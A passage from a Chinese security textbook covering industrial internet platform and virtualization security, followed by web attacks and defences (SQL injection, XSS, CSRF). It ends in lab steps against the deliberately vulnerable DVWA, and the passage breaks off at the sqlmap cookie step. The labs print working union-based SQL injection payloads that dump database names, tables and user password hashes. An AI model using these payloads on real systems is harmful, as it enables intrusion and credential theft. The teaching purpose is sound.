版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
项目6工业互联网应用安全项目3工业互联网设备安全认识与实施【知识目标】●理解工业互联网应用安全内容和安全策略。●理解工业互联网平台安全定义和框架。●理解工业互联网安全防护的对象。●理解虚拟化安全技术。●理解Web网站攻防原理。●掌握Web网站攻防技术。项目3工业互联网设备安全认识与实施【能力目标】●能掌握常见网站的漏洞攻击技术。●能掌握SQL攻防技术。●能掌握XSS攻防技术。●能掌握CSRF攻防技术。【素质目标】●通过对工业互联网应用安全的认识,增强防御Web攻击的意识。●培养严谨、务实的工作作风。●培养良好的心理素质和克服困难的能力。●启发善于发现问题、解决问题。●具备良好的服务意识。项目3工业互联网设备安全认识与实施【学习路径】3.1工业互联网应用安全概述6.1工业互联网应用安全概述工业互联网应用主要包括工业互联网平台与工业应用程序两大类,其范围覆盖智能化生产、网络化协同、个性化定制、服务化延伸等方面。目前,工业互联网平台面临的安全风险主要包括数据泄露、数据篡改、数据丢失、权限控制异常、系统漏洞被利用、账户劫持、设备接入安全等。对工业应用程序而言,最大的风险来自安全漏洞,包括开发过程中编码不符合安全规范而导致的软件本身的漏洞以及由于使用不安全的第三方库而出现的漏洞等。6.1工业互联网应用安全概述体系架构2.0指出,工业互联网应用安全应从工业互联网平台安全与工业应用程序安全两方面进行防护。对于工业互联网平台,可采取的安全措施包括安全审计、认证授权、DDoS攻击防护等。对于工业应用程序,建议采用全生命周期的安全防护,在应用程序的开发过程中进行代码审计并对开发人员进行培训,以减少漏洞的引入;对运行中的应用程序定期进行漏洞排查,对应用程序的内部流程进行审核和测试,并对公开漏洞和后门并加以修补;对应用程序的行为进行实时监测,以发现可疑行为并进行阻止,从而降低未公开漏洞带来的危害。6.2工业互联网平台及安全6.2.1工业互联网平台定义和架构工业互联网平台是面向制造业数字化、网络化、智能化需求,构建基于海量数据采集、汇聚、分析的服务体系,支撑制造资源泛在连接、弹性供给、高效配置的工业云平台,包括边缘、平台(工业PaaS)、应用三大核心层级。6.2.1工业互联网平台定义和架构可以认为,工业互联网平台是云平台的延伸发展,其本质是在传统云平台的基础上叠加物联网、大数据、人工智能等新兴技术,构建更精准、实时、高效的数据采集体系,建设包括存储、集成、访问、分析、管理等功能的使能平台,实现工业技术、经验、知识的模型化、软件化、复用化。6.2.1工业互联网平台定义和架构6.2.1工业互联网平台定义和架构第一层是边缘层通过大范围、深层次的数据采集,以及异构数据的协议转换与边缘处理,构建工业互联网平台的数据基础。6.2.1工业互联网平台定义和架构第二层是平台层基于通用平台即服务PaaS叠加大数据处理、工业数据分析、工业微服务等创新功能,构建可扩展的开放式云操作系统。6.2.1工业互联网平台定义和架构第三层是应用层形成满足不同行业、不同场景的工业软件即服务SaaS和工业应用程序,获得工业互联网平台的最终价值。6.2.2工业互联网平台安全防护内容工业互联网平台五大防护对象边缘计算层工业云基础设施层工业云平台服务层工业应用层平台数据6.2.2工业互联网平台安全防护内容边缘计算层通过现场设备、系统和产品采集海量工业数据,依托协议转换,通过边缘计算设备实现多源异构底层数据的归一化和汇聚处理,并向云端平台集成。边缘计算层安全防护对象可进一步细化为:通信协议、数据采集与汇聚、设备接入等。6.2.2工业互联网平台安全防护内容工业云基础设施层主要通过虚拟化技术将计算、网络、存储等资源虚拟化为资源池,支撑上层平台服务和工业应用的运行,其安全是保障工业互联网平台安全的基础。工业云基础设施层安全防护对象可进一步细化为:虚拟化管理软件、虚拟化应用软件、服务器、云端网络、存储设备等。6.2.2工业互联网平台安全防护内容工业云平台服务层利用通用PaaS调度底层软硬件资源,通过容器技术、微服务组件等提供工业领域业务系统和具体应用服务,为工业应用的设计、测试和部署提供开发环境。工业云平台服务层的安全与工业应用的安全具有非常强的相关性,是保障工业互联网平台安全的关键点。工业云平台服务层安全防护对象可进一步细化为:工业微服务组件、工业应用开发环境、大数据分析系统、工业数据建模和分析、通用PaaS资源部署、容器镜像等。6.2.2工业互联网平台安全防护内容工业应用涉及专业工业知识、特定工业场景,集成封装多个低耦合的工业微服务组件,功能复杂,缺乏安全设计规范,容易存在安全漏洞和缺陷。工业应用是工业互联网平台安全的重要防护对象,其安全水平是平台各层安全防护能力的“外在表现”。工业应用层安全防护对象可进一步细化为:工业知识、应用配置、依赖库接口等。6.2.2工业互联网平台安全防护内容工业数据通过大数据分析系统解决控制和业务问题,能减少人工决策所带来的不确定性。工业数据包括研发、生产、运维、管理等数据域,是工业互联网平台安全的重要防护对象。工业数据安全防护对象可进一步细化为数据生命周期的各个环节:采集、传输、存储、分析、使用、共享、迁移、销毁等。6.2.2工业互联网平台安全防护内容工业互联网平台安全防护需求包括数据接入安全、平台安全和访问安全。数据接入安全:防止数据泄漏、被侦听或篡改,保障数据在源头和传输过程中安全。平台安全:确保工业互联网平台的代码安全、应用安全、数据安全、网站安全。访问安全:通过建立统一的访问机制,限制用户的访问权限和所能使用的计算资源和网络资源实现对工业互联网平台重要资源的访问控制和管理,防止非法访问。6.3虚拟化安全6.3虚拟化虚拟化是一种资源管理技术,是将计算机的各种实体资源(CPU、内存、磁盘空间、网络适配器等)予以抽象、转换后呈现出来并可供分割、组合为一个或多个电脑配置环境。虚拟化技术不仅仅指虚拟内存和虚拟服务器,还包括网络虚拟化、微处理器服务器虚拟化、文件虚拟化和存储虚拟化等。6.3虚拟化由于虚拟化技术突破了操作系统与物理硬件的界限,尽管它在集中化管理、提高硬件利用率、异构资源整合方面具有无可比拟的优势,但也拓宽了恶意程序的攻击面,给系统安全带来更多安全挑战。虚拟化的安全,直接影响云计算的安全。6.3虚拟化宿主机即物理机,包括CPU、内存、I/O设备等硬件资源;虚拟机是运行在虚拟化层软件上的客户操作系统,用户可以在虚拟机上安装应用程序。虚拟化层软件亦称Hypervisor或虚拟机监视器(VMM:VirtualMachineMonitor),是一种运行在基础物理服务器和操作系统之间的中间软件层,其既可以集成于操作系统之中,也可以运行于操作系统之上;虚拟化架构6.3.1虚拟化安全威胁主机虚拟化面临的主要安全威胁:虚拟机信息窃取和篡改虚拟机逃逸Rookit攻击DDoS攻击侧信道攻击等6.3.1虚拟化安全威胁虚拟机本身不具有物理形态,大多数虚拟机管理工具将每个虚拟机的虚拟磁盘内容以文件的形式存储在主机上,这就使得虚拟机能够很容易地被迁移出物理主机。对使用者来说,这是个很方便的特点,能够轻松快速地将虚拟机环境在其他物理主机上重建,同样,对攻击者来说也是如此。6.3.1虚拟化安全威胁攻击者可以在不用窃取物理主机或硬盘的情况下,通过网络将虚拟机从原有环境迁出,或者将虚拟机复制到一个便携式存储介质中带走,一旦攻击者能够直接访问到虚拟磁盘,就有足够的时间来攻破虚拟机上所有的安全防线,如使用离线字典攻击破解出密码,进而能够访问虚拟机中的数据。6.3.1虚拟化安全威胁由于攻击者访问的只是虚拟机的一个副本,而非真正的虚拟机本身,因此在原来的虚拟机上是不会显示任何入侵记录的。另外,如果物理主机没有受到有效的安全保护,攻击者可能会趁虚拟机离线时破坏或者修改虚拟机的镜像文件,致使离线虚拟机的完整性和可用性受到威胁和破坏。6.3.2主机虚拟化安全技术为了全面应对虚拟化带来的安全挑战,保证云计算基础设施的安全,需对物理主机、宿主机操作系统、Hypervisor、虚拟机操作系统及其应用程序进行全方位的安全措施的部署。在对主机虚拟化安全的研究中,建立虚拟化安全防御体系、Hypervisor安全和虚拟机安全是研究的热点。6.3.2主机虚拟化安全技术基于网络虚拟化的安全防护基于软件定义的安全防护基于虚拟化层Hypervisor的安全防护虚拟化安全防御体系解决方案6.3.2主机虚拟化安全技术1)基于Hypervisor的安全防护该技术的核心思想是在Hypervisor层引入特权虚拟机,通过虚拟化层内部的逻辑端口监测虚拟机的数据流量,对其他虚拟机的CPU、内存、网络流量和磁盘I/O进行监控,从而实现对其他虚拟机的安全管理和监控。特权虚拟机可以实现防火墙、防病毒等各种安全功能,成为在Hypervisor层提供安全防护功能的安全虚拟机。由于特权虚拟机和客户虚拟机共享宿主机资源,存在性能瓶颈,可能对客户虚拟机性能造成一定的影响。6.3.3虚拟化安全2)基于网络虚拟化的安全防护以网络设备制造商和安全设备制造商为代表的虚拟化层安全防护产品主要是引入网络虚拟化技术,在现有的成熟网络或安全设备上开发,将硬件产品软件化、虚拟化,具有一定的软件可编程能力,可以实现基于租户级的安全防护和策略管理。基于网络虚拟化的安全防护一般采用分布式架构,且各分布式安全组件是独立部署的,不需要受保护的租户虚拟机处于相同的物理主机,因此不会对虚拟机的性能造成影响。6.4Web网站攻防技术6.4Web网站攻防技术Web应用体系主要存在的问题:(1)Web客户端:即用户的浏览器,其安全性直接影响到客户端主机的安全。(2)Web服务器:Web应用程序在Web服务器上运行。Web服务器的安全直接影响服务器主机的安全。目前流行的IIS服务器、Apache服务器和Tomcat服务器均被爆出很多安全漏洞。(3)Web应用程序:Web应用程序是程序员编写的网络应用程序,常常存在安全漏洞。(4)防火墙:由于Web网站需要提供Web服务,所以防火墙策略都会允许流入的HTTP/HTTPS数据进入主机。这样使得防火墙形同虚设,黑客能够轻松绕过防火墙对Web服务器进行攻击。6.4.1SQL注入攻防(1)SQL注入攻击简介SQL是结构化查询语言的英文缩写。大多数Web应用程序都使用SQL数据库来存放应用程序的数据。SQL注入(SQLInjection)就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。6.4.1SQL注入攻防(1)SQL注入攻击简介“URL:”,只是对页面的简单请求,无须对数据库进行动态请求,所以它不存在SQL注入。“?testid=23”,在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),在这个URL中可以嵌入恶意的SQL语句。6.4.1SQL注入攻防(1)SQL注入攻击简介SOL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前常见的防火墙很难对SQL注入发出警报,如果管理员没查看网站日志的习惯,可能被入侵很长时间都不会发觉。6.4.1SQL注入攻防(2)SQL注入攻击的过程02收集后台数据库信息猜解用户名和密码0304查找Web后台管理入口01SQL注入点探测05入侵和破坏6.4.1SQL注入攻防(2)SQL注入攻击的过程第1步:SQL注入点探测。分析应用程序,判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。6.4.1SQL注入攻防(2)SQL注入攻击的过程第2步:收集后台数据库信息。即判断数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1andversion()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。6.4.1SQL注入攻防(2)SQL注入攻击的过程第3步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。6.4.1SQL注入攻防(2)SQL注入攻击的过程第4步:查找Web后台管理入口。Web后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。6.4.1SQL注入攻防(2)SQL注入攻击的过程第5步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。6.4.1SQL注入攻防(3)SQL注入攻击工具针对SQL注入攻击,目前已经有许多软件来实现自动化攻击。常用的工具有SQLmap、SQLIer、SQLBrute等。其中,SQLmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。SQLmap具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。6.4.1SQL注入攻防(4)SQL注入攻击防御方法1)在编程中对用户输入进行检查一些特殊字符,如分号、单引号、逗号、双引号、冒号、连接号等都要进行转换或过滤;使用强数据类型,如用户输入一个整数,就可以把这个整数转化为整数形式;限制用户输入的字符串长度等。这些检查要放在服务器端运行,客户端提交的任何信息都是不可信的。6.4.1SQL注入攻防(4)SQL注入攻击防御方法1)在编程中对用户输入进行检查对网站应用程序的输入变量进行必要的安全过滤与参数验证,禁止一切非预期的参数传递到后台数据库服务器。安全过滤方法有两种:拒绝已知的恶意输入,如insert、update、delete、or、drop等。只接收已知的正常输入,如在一些表单中允许数字和大、小写字母等。6.4.1SQL注入攻防(4)SQL注入攻击防御方法2)数据库表名、列名不要用常用的字符数据库表名、列明不要用常用的字符,特别是存储用户和密码的表名、字段名,不要使用如Admin、adminlist、password、pwd等常用的字符。6.4.1SQL注入攻防(4)SQL注入攻击防御方法3)使用不常用的字符网站后台管理目录和登录文件名要使用不常用的字符,不要使用如/admin/login.php或/guanli/denglu.php等文件名。6.4.1SQL注入攻防(4)SQL注入攻击防御方法4)设置应用程序最小化权限最小化设置数据库和Web应用程序的执行权限,可以阻止非法SQL执行,减少攻击破坏影响。以MSSQLServer为例,通常都是以本地管理员身份安装并运行SQLServer服务,该用户的权限在Windows2000中与系统管理员相当,攻击者一旦突破了数据库的限制,就可以无限制访问主机。6.4.1SQL注入攻防(4)SQL注入攻击防御方法4)设置应用程序最小化权限因此,要以受限用户的身份安装并运行DBMS,只给予运行所必需的权限。同时,对于Web应用程序与数据库的连接,建立独立的账号,使用最小权限执行数据库操作,避免应用程序以DBA身份与数据库连接,以免给攻击者可乘之机。6.4.1SQL注入攻防(4)SQL注入攻击防御方法5)使用SQL语句如果一定要使用SQL语句,一定要用标准的方式组建SQL语句,如利用parameters对象,而不是直接用字符串拼接SQL命令。6.4.1SQL注入攻防(4)SQL注入攻击防御方法6)屏蔽应用程序错误提示信息当SQL运行出现错误的时候,不要把全部的数据库返回的错误信息显示给用户,往往错误信息会透露一些数据库设计的细节。6.4.1SQL注入攻防(4)SQL注入攻击防御方法7)利用评测软件检测网站利用评测软件检测网站是否有注入漏洞,如利用NBSI、NIKTO等软件检测网站是否有注入漏洞。6.4.1SQL注入攻防(4)SQL注入攻击防御方法8)对开源软件做安全适应性改造目前许多网站都是采用免费下载的模板建成的,其源代码是公开的,网站程序中的SQL注入漏洞很容易被发现,而且数据库的表结构是公开的。利用开源网站应用程序,攻击者无须猜测就可以知道网站后台数据库的类型,以及各种表结构,这样攻击者就可以较容易地进行SQL注入攻击。因此,网站采用开源应用程序,安全最佳的做法就是根据本部门的需要,对可能存在SQL注入攻击的应用程序进行安全增强,或者调整数据库表的结构,以干扰攻击。6.4.1SQL注入攻防(4)SQL注入攻击防御方法9)网站实施主动防御SQL注入攻击是通过网站的访问进行的,特别是大量的猜测性访问网页,必然会引起网站服务器异常流量,如网站的非成功连接信息或异常URL长度等。网站管理员通过分析网站运行日志,也会发现SQL注入攻击痕迹。在主动安全分析基础上,对于潜在危害的访问者的地址进行封堵,以防止攻击危害发生。目前,网站主动防御技术措施主要有日志分析、网络内容过滤、IPS等。6.4.2跨站脚本攻防跨站脚本(CrossSiteScript,XSS)为了与层叠样式表(CascadingStyleSheets,CSS)的缩写区分,跨站脚本的缩写为XSS。近年来大量知名网站,包括Facebook、Twitter、百度、搜狐和新浪微博等都发现多个XSS安全漏洞。6.4.2跨站脚本攻击XSS攻防XSS攻击通常指的是利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,当用户访问网页的时候加载并执行攻击者恶意制造的脚本。这些恶意脚本通常是JavaScript脚本,但实际上也可以是Java、VBScript、ActiveX、Flash,甚至是普通的HTML脚本。6.4.2跨站脚本攻击XSS攻防(1)XSS漏洞XSS漏洞主要是由于Web服务器没有对用户的输入进行有效性检验或验证强度不够,而又轻易地将它们返回给客户端造成的漏洞。例如表格需要用户输入电话号码,显然有效的输入应该是数字,而其他形式的任何符号都是非法字符。6.4.2跨站脚本攻击XSS攻防(2)XSS攻击的类型存储型DOM型反射型XSS攻击的类型6.4.2跨站脚本攻击XSS攻防1)反射型XSS攻击6.4.2跨站脚本攻击XSS攻防2)存储型XSS攻击被称为持久型XSS攻击,把攻击者的脚本存储在服务器中,每当有用户访问该页面的时候就会触发代码执行。这种漏洞通常出现在留言本、BBS和博客等Web应用程序中,攻击者通过留言、发帖、评论等方式注入包含恶意代码的内容之后,这些恶意代码将永久性地保存在网站服务器中,从而危害其他阅读留言本、BBS和博客的用户。存储型XSS漏洞是危害最为严重的XSS漏洞。6.4.2跨站脚本攻击XSS攻防2)存储型XSS攻击6.4.2跨站脚本攻击XSS攻防3)DOM型XSS攻击随着Web2.0应用的产生与流行,一类新的XSS漏洞随之进入黑客们的视线里,即基于DOM的XSS漏洞,此类漏洞发生在客户端处理内容阶段,特别是在一些客户端JavaScript代码或Flash中存在。DOM(DocumentObjeetModel,文档对象模型),客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOMXSS漏洞。6.4.2跨站脚本攻击XSS攻防(3)XSS攻击的防御措施XSS攻击是由Web应用程序未对用户输入进行严格审查与过滤所引起的,但恶意脚本的执行却是在客户端的浏览器上,危害的也是客户端的安全。因此,对XSS的防范分为服务器端和客户端两个方面。1)服务器端防范措施对所有来自外部的用户输入进行完备检查,以“限制、拒绝、净化”的思路来进行严格的安全过滤。6.4.2跨站脚本攻击XSS攻防(3)XSS攻击的防御措施2)客户端防范措施提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读;此外也可以采用安全的浏览器,如Chrome、Opera来尽量降低安全风险。6.4.3跨站请求伪造CSRF攻防跨站请求伪造(CrossSiteRequestForgery,CSRF)攻击它与XSS攻击不同,攻击方式也几乎完全不一样。XSS攻击利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行,因此对其进行防范的措施也相当稀少,另外对于CSRF的防范难度更大,所以比跨站脚本攻击更具危险性。6.4.3跨站请求伪造CSRF攻防(1)Cookie和Session的关系和工作原理Cookie是在浏览器访问Web服务器的某个资源时,由Web服务器在HTTP响应消息中附带传递给客户端浏览器的一片数据,浏览器可以决定是否保存这片数据,一旦Web浏览器保存了这片数据,那么它在以后每次访问该Web服务器时,都会在HTTP请求头中将这片数据回传给Web服务器。Cookie的作用是为了解决HTTP协议无状态的缺陷。6.4.3跨站请求伪造CSRF攻防(1)Cookie和Session的关系和工作原理Cookie虽然在一定程度上解决了“保持状态“的需求,但是由于Cookie本身最大支持4096字节,以及Cookie本身保存在客户端,可能被拦截或窃取,因此就需要有一种新的东西,它能支持更多的字节,并且他保存在服务器,有较高的安全性。这就是Session。6.4.3跨站请求伪造CSRF攻防(1)Cookie和Session的关系和工作原理Session在网络应用中被称为会话,它是由服务器维持的一个在服务器中的存储空间,用户在连接服务器时,会由服务器生成一个唯一的Sessionid,用该Sessionid为标识符来存取服务器端的Session存储空间。6.4.3跨站请求伪造CSRF攻防(1)Cookie和Session的关系和工作原理6.4.3跨站请求伪造CSRF攻防(2)CSRF攻击过程在CSRF攻击中,攻击者盗用了受害者的身份,以受害者的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以受害者的名义发送邮件、发消息,盗取受害者的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。6.4.3跨站请求伪造CSRF攻防(2)CSRF攻击过程6.4.3跨站请求伪造CSRF攻防(2)CSRF攻击过程最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester、CSRFRequestBuilder等。6.4.3跨站请求伪造CSRF攻防(3)CSRF攻击的防御CSRF攻击的防御验证HTTPReferer字段在请求地址中添加token并验证在HTTP头中自定义属性并验证6.4.3跨站请求伪造CSRF攻防(3)CSRF攻击的防御1)验证HTTPReferer字段根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。验证其Referer值,就可以判断来源的正确性。然而,这种方法并非万无一失。Referer的值是由浏览器提供的,虽然HTTP上有明确的要求,但是每个浏览器对于Referer的具体实现可能存在差别,并不能保证浏览器自身没有安全漏洞。使用验证Referer值的方法,就是把安全性都依赖于浏览器。6.4.3跨站请求伪造CSRF攻防(3)CSRF攻击的防御2)在请求地址中添加token并验证在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。这种方法的难点在于如何把token以参数的形式加入请求。通常使用的方法就是在每次加载页面时,使用JavaScript遍历整个dom树,对dom中所有的a和form标签后都加入token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加token。6.4.3跨站请求伪造CSRF攻防(3)CSRF攻击的防御3)在HTTP头中自定义属性并验证这种方法也是使用token并进行验证,和上一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到HTTP头中自定义的属性里。这样的方法解决了上种方法在请求中加入token的不便,也不用担心token会透过Referer泄露到其他网站中去。但是对于没有进行CSRF防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改写,这样几乎要重写整个网站,这个代价无疑是不能接受的。实训演练实训1Web安全渗透测试平台的搭建【实训目的】本实训需搭建DVWA服务器,DVWA服务器是一个基于PHP/MySQL开发的存在多种漏洞的Web应用,旨在为专业的安全人员提供一个合法的环境,测试他们的技能,帮助Web开发人员理解Web应用保护的过程。【场景描述】在虚拟机软件环境下配置两个虚拟系统WinXP3和Win7,使这两个系统之间能够相互通信,网络拓扑如图所示。任务1
在Windows系统下部署DVWA服务器【实训步骤】(1)在WinXP3上部署DVWA服务器,DVWA服务器需要依赖httpd、PHP、MySQL等应用或组件,最简单的方法是安装WampServer,安装完所需的各种依赖部件。(2)安装完WampServer会出现www目录,解压缩DVWA安装包到该目录下,如图所示。任务1
在Windows系统下部署DVWA服务器【实训步骤】(3)在WinXP3中打开浏览器,在地址栏输入“http://localhost/DVWA/”,文件出错,如图所示。(4)把“config/config.inc.php.dist”改名成为“config/config.inc.php”,然后重新访问“http://localhost/DVWA/”,打开DVMA主页,如图所示。任务1
在Windows系统下部署DVWA服务器【实训步骤】(5)单击“Create/ResetDatabase”按钮,如果出现“CouldnotconnecttotheMySQLservice.pleasechecktheconfigfile.”错误信息,那么打开DVWA/config/config.inc.php文件,将下面这段内容$_DVWA['db_password']='p@ssw0rd';中的密码部分替换成'',即密码为空,如图所示。任务1
在Windows系统下部署DVWA服务器【实训步骤】(6)修改默认的安全级别为“low”,如图所示。(7)单击“Create/ResetDatabase”按钮,重新创建数据库即可进入链接http://localhost/dvwa/login.php,默认的用户名和密码为“admin/password”。任务2
配置WampServer让其他用户都可以访问DVWA服务器【实训步骤】(1)在WinXP3中开启WampServer服务,打开浏览器,在地址栏打开“http://localhost”。检查WampServer是否正常工作,如果出现WampServer首页则为正常状态,如图所示。任务2
配置WampServer让其他用户都可以访问DVWA服务器【实训步骤】(2)单击服务器右下角的WampServer图标,选择“Apache”,然后选择“httpd.conf”,打开httpd.conf文件。(3)在httpd.conf文件中的第268行附近找到“Denyfromall”,并将其修改为“Allowfromall”,如图所示。任务2
配置WampServer让其他用户都可以访问DVWA服务器【实训步骤】(4)单击服务器右下角的WampServer图标,选择“RestartAllServices”重启服务。(5)在Win7主机中打开浏览器打开“/DVWA/”,访问WinXP3主机中的DVWA服务器。实训2SQL注入攻击【实训目的】通过本实训,掌握两种SQL注入方式:手工SQL注入和利用Sqlmap对DVWA系统进行SQL注入。【场景描述】在虚拟机环境下配置两个虚拟系统WinXP3和KaliLinux,使这两个系统之间能够相互通信,网络拓扑如图所示。任务1
手动SQL注入【实训步骤】1.测试和分析页面的功能单击“SQLInjection”,这里有一个输入框。根据页面的提示,可以在输入框中输入用户的ID。输入“1”之后,单击“Submit”按钮。发现它返回了关于这个User的信息,如图所示。它返回3行数据,第一行是输入的内容,第二行是用户名,第三行是用户别名。同时,在浏览器的地址栏,发现URL有id=1,这是不是就是输入的UserID?在输入框中再输入“2”并单击“Submit”,发现URL变成了id=2。可以得出,这里传入的ID的值是可以控制的。在输入框中输入的内容,会通过ID传入服务器。任务1
手动SQL注入【实训步骤】2.对参数进行测试(1)对id这个参数进行测试,查看它是否存在SQL注入漏洞。在输入框中输入“1'”并单击“Submit”。发现这里报错了,说SQL语句出现了语法错误,如图所示。可以进行这样一个猜测:这个id是被两个“'”包住的,查询语句可能是这样的:selectfirstname,surnamefromuserswhereid='1';当我们在1之后加一个引号,那么查询语句会变成这样:selectfirstname,surnamefromuserswhereid='1'';可以看到单引号数目不平衡,最后一个引号没被闭合。任务1
手动SQL注入【实训步骤】2.对参数进行测试(2)有多种办法可以消除引号没有被闭合的问题,下面就简单介绍一下。方法1:可以在原来的基础上继续输入一个引号,也就是“1''”,这时的查询语句变成如下样式。selectfirstname,surnamefromuserswhereid='1''';方法2:使用“#”符号来注释后面的单引号,这时查询语句将会变成:selectfirstname,surnamefromuserswhereid='1'#';方法3:使用“--”。这里注意了“--”后面有一个空格。在URL当中,我们可以使用“+”来代替“--”后面的空格。这时查询语句将会变成:selectfirstname,surnamefromuserswhereid='1'--+';上面显示出来的结果和输入1时一样。到这里我们就可以确定:漏洞的参数是“id”;漏洞的类型是字符型。任务1
手动SQL注入【实训步骤】3.构造payload确认漏洞之后,就可以构造payload。payload就是一段恶意代码,用于获得数据库里面的数据。(1)分析字段数分析字段数,有两种方法。方法1:用orderby语句。分析字段数的原因是,后面需要用unionselect语句来获得敏感数据。根据orderby知识可知,如果后面跟着的数字超出了字段数,就会报错,通过这个可以确定字段数。构造的payload如下图所示。1'orderby1#1'orderby2#1'orderby3#输入3的时候,发现它报错了,也就是说字段数为2。任务1
手动SQL注入【实训步骤】3.构造payload方法2:用unionselect来猜测字段数。因为当字段数不对应的时候,它是会发生报错的,构造以下查询语句。1'unionselect1#1'unionselect1,2#1'unionselect1,2,3#可以发现,只有输入“1'unionselect1,2#”的时候没有报错,也就是说字段数为2。同时,我们也注意到,返回的内容中多了3条数据,其实这就是unionselect(联合查询)出来的数据,如图所示。任务1
手动SQL注入【实训步骤】(2)获取信息字段数为2,说明数据列有两列。可以通过unionselect语句查出这两个数据。接下来,获取所需要的数据库里面的信息。①获取当前数据库名和当前用户名。构造数据库查询语句,如下所示。1'unionselectdatabase(),user()#database()会返回当前网站所使用的数据库名字,user()会返回进行当前查询的用户名。可以看到,当前使用的数据库名为dvwa,当前的用户名为root@localhost,如图所示。任务1
手动SQL注入【实训步骤】(2)获取信息有时候,后面的select语句会限制输出的行数,我们可以让原数据库查询无效,也就是输入无效的id,使原数据库查询不返回结果。输入如下命令。-1'unionselectdatabase(),user()#这样就只会返回我们需要的数据了。Version()获取当前数据库版本号,@@version_compile_os获取当前操作系统。输入如下命令。-1'unionselectversion(),@@version_compile_os#任务1
手动SQL注入【实训步骤】(2)获取信息②获取当前的用户表。根据上面的信息,我们知道当前数据库名为dvwa,接下来要获得表名和字段名以及内容。MySQL中有information_schema,这是一个包含MySQL数据库所有信息的“字典”,本质上是一个database,存放着其他各个数据的信息。在information_schema里,有tables表和columns表,对我们来说非常有用。tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫table_schema。其中,table_name是表名,table_schema表示的是这个表所在的数据库。对于columns,它有column_name、table_schema,table_name。回想一下,我们拥有的信息是数据库名。也就是说我们可以构造payload来从数据库里获取一些信息。构造的查询语句如下:-1'unionselecttable_name,2frominformation_schema.tableswheretable_schema='dvwa'#任务1
手动SQL注入【实训步骤】(2)获取信息②获取当前的用户表。返回两个表名,如图所示,我们对users表更感兴趣。不是说还有一个columns表吗?所以我们还需要用table_name以及table_schema来查column_name。这次构造的payload如下:-1'unionselectcolumn_name,2frominformation_schema.columnswheretable_schema='dvwa'andtable_name='users'#任务1
手动SQL注入【实训步骤】(2)获取信息
②获取当前的用户表倘若不指定数据库名为dvwa,若其他数据里面也存在users表,则会出现很多混淆的数据。也就是说,在这里直接使用下面的语句也可以成功。-1'unionselectcolumn_name,2frominformation_schema.columnswheretable_name='users'#此语句返回的字段名如图所示。任务1
手动SQL注入【实训步骤】(2)获取信息
②获取当前的用户表在这些返回的数据中,我们看到了users、password,这是我们最希望看得的字段,再次修改payload:-1'unionselectuser,passwordfromusers#爆出所有的用户名和密码,如图所示。这密码应该是经过MD5加密的。我们对“gordonb”用户来进行破解,MD5密文为:e99a18c428cb38d5f260853678922e03,对密文进行解密得到密码是“abc123”。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】1.获取登录系统的Cookie使用Sqlmap扫描的时候会重定向认证页面,只有拿到目前的会话Cookie,才能在这个漏洞页面进行持续扫描。所以第一步要先获得Cookie。(1)在KaliLinux中打开浏览器,打开/dvwa,访问DVWA服务器,然后输入用户名和密码登录系统,设置“DVWASecurity”为“Low”,打开DVWA的SQLInjection,输入“UserID”为“1”,并单击“Submit”按钮,URL是/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】1.获取登录系统的Cookie(2)在浏览器的菜单栏中选择“Tools”→“PageInfo”,然后选择“Security”选项卡,再单击“ViewCookie”按钮就可以查看Cookie信息,如图所示。任务2
